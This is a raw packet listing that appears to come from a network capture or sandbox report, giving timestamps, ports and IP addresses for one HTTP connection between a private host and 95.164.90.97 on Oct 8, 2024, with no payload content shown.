Oct 8, 2024 02:45:29.236375093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.236381054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236390114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236397028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.236422062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.236454010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.237201929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237212896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237221003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237229109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237237930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237246990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237255096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237263918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237263918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.237272978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237282991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237287045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.237287045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237303972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237307072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.237313032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237323999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.237328053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.237349033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.237380028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.238140106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238149881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238158941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238168001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238177061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238185883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238193989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238194942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.238203049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238213062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238221884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238223076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.238223076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.238230944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238240957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238245010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.238250971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.238262892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.238280058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.238312006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239046097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239056110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239063978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239073992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239083052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239092112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239101887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239104033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239106894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239116907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239125967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239126921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239135027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239145041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239147902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239154100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239164114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239177942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239177942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239198923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239228964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239650965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239660978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239669085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239679098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239686966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.239715099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.239748001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.323715925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.323807001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.323828936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.323838949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.323884010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.323889971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.323894024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.323905945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.323915958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.323945999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.323986053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.324177027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324187040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324196100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324203968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324213028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324222088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324233055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324239969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.324240923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324275017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.324275017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.324314117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.324840069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324897051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.324928045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324937105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324947119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324955940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.324994087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325025082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325078964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325128078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325187922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325197935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325246096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325273037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325282097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325289965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325294971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325330019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325361967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325460911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325476885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325515032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325547934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325551033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325572014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.325598955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325632095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.325974941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326023102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326033115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326033115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326062918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326092005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326186895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326195955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326205015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326214075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326222897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326236963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326268911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326299906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326422930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326432943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326527119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326534033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326541901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326584101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326617002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326683044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326693058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326702118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326710939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326720953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326730013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326740026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326777935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326777935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.326972961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326982021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.326991081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327001095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327029943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327060938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327065945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327076912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327085972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327095985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327104092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327112913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327112913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327122927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327132940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327136993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327157974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327188969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327689886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327699900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327708960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327718019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327727079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327734947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327740908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327780008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327780008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.327944994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.327999115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328003883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328013897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328023911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328046083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328078032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328248978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328258991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328267097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328304052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328336954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328344107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328361988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328371048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328380108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328387976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328397036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328399897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328406096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328416109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328421116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328427076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328449965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328480959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328906059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328916073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328924894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328933001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328943014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.328968048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.328968048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.329004049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.342555046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342613935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342622042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342680931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342689037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342698097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342767954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.342768908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.342819929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342828989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342866898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.342866898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.342926979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.342948914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342958927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342967987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.342977047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343012094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343045950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343151093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343159914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343168020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343177080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343189955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343206882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343235970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343235970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343430996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343441963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343450069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343458891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343467951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343497992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343544960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343740940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343750954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343759060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343767881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343776941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343821049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343822002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343822002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.343983889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.343993902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.344002008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.344010115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.344018936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.344028950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.344038010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.344039917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.344072104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.344103098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419260979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419306040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419323921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419347048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419361115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419375896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419403076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419495106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419496059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419496059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419496059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419637918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419653893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419670105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419684887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419699907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419706106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419706106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419714928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419732094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419733047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419747114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.419774055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.419796944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421534061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421583891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421597958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421598911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421628952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421642065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421650887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421658993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421675920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421693087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421704054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421705008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421731949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421731949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.421917915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421933889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421947956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421962976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.421977997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.422012091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.422012091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.422266960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.422282934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.422297955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.422311068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.422336102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.422336102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.422369957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.423693895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.423744917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.423753023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.423762083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.423804045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.423804045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.423865080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.423881054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.423897028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.423933029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.423933983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.423969030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424062014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424077988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424093962 CEST	80	51293	95.164.90.97	192.168.2.4
